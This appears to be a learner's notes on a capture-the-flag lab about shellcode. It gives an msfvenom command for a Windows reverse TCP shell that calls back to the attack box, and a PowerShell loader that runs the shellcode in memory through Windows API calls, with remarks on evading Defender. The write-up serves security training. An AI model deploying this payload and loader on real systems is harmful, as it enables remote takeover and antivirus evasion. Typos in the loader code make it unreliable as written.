Task 14, Day 8 Shellcodes Shellcodes of the world, unite!

Terminology

  • Shellcode: Piece of code usually used by malicious actors during exploits like buffer overflow attacks to inject commands into vulnerable systems, often leading to executing arbitrary commands or giving control over a compromised machine. Typically written in assembly language.
  • PowerShell: Scripting language and command line shell built into Windows for task automation and config management. Allows interaction with system components. Often used as a post-exploitation tool because of its deep access to system resources and ability to run scripts in memory, avoiding disk-based detection mechanisms.
  • Windows Defender: Built-in security feature that can scan code at runtime Common bypasses include obfuscating scripts and refelctive injection, where code is loaded directly into memory avoiding signature based defences.
  • Windows API: Allows promgrams to interace with the OS, giving access to system-level functions like memory management, file operations, and networking. Crucial for exploitation because it allows manipulating processes, allocating memory, and executing shell codes. Common functions abused: VirtualAlloc, CreateThread, and WaitForSingleObject.
  • Windows API through PowerShell Reflection: Advanced technique that enables interfacing with API from PowerShell. Allows calling API functions directly at runtime instead of needing precompiled binaries. Enables manipulation of low-level system processes allowing interaction with the OS and executing code stealthily while bypassing security mechanisms.
  • Reverse shell: Shell connection where the target machine initiates the connection to the attacking machine.

Generating Shellcode

Chosen method for lesson: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attackbox_ip> LPORT=1111 -f powershell. Shellcode is generated in hex and is run by loading it into memory and creating a thread to execute it. Simple example script to execute the shellcode:

$VrtAlloc = @"
using System;
using System.Runtime,InteropServices'

public class VrtAlloc{
    [DllImport("kernal32")] 
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
}
"@ 

Add-Type $VrtAlloc

$WaitFor= @"
using System;
using System.Runtime.InteropServices;

public class WaitFor{
    [DllImport("kernal32.dll", SetLastError=true)] 
        public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@ 

Add-Type $WaitFor

$CrtThread= @"
using System;
using System.Runtime.InteropServices;

public class CrtThread{
    [DllImport("kernal32", CharSet=CharSet.Ansi)] 
        public statis extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadid);
        
}
"@ 
Add-Type @CrtThread

[Byte[]] $buf = SHELLCODE_PLACEHOLDER
[ItrPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)
[WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

Explanation of Code

Starts by defining C# classes that use DllImport to load functions from the kernal32 dll in the API.

  • VirtualAlloc: Allocates memory in the process’ address space. Commonly used to prepare memory for storing and executing shellcode.
  • CreateThread: Creates a new thread in the process that executes the shellcode in the memory.
  • WaitForSingleObject: Pauses exectution until a specific thread finishes its task. In this case ensures shellcode has finished running.

Classes are added to PowerShell via Add-Type command.

Then script stores the shellcode in $buf variable, where SHELLCODE_PLACEHOLDER = the hex coe from msfvenom. VirtualAlloc then allocates the block of memory where the shellcode will be stored using the following arguments:

  • 0 for memory address means Windows can decide the location.
  • $buf.length for the size of the memory block bases size on length of the shellcode.
  • 0x3000 for allocation type tells Windows to reserve and commit the memmory.
  • 0x40 for memory protection means memory is readable and executable.

Marshal.Copy then copies the shellcode from $buf to the allocated memory address. CreatThread then executes the shellcode by creating a new thread. WaitForSingleObject then makes sure the shellcode runs completely before the script ends its execution.

The Task

Use the shellcode and C# code generated/written earlier to get a remote shell and get the flag. Had a lot of trouble because I couldn’t paste into the Windows VM and made a mess of copying the code over by hand, then didn’t even want to attempt typing in the hex. Finally realized I could RDP into it with Remminna and the clipboard worked between the two.

AV Evasion: Shellcode room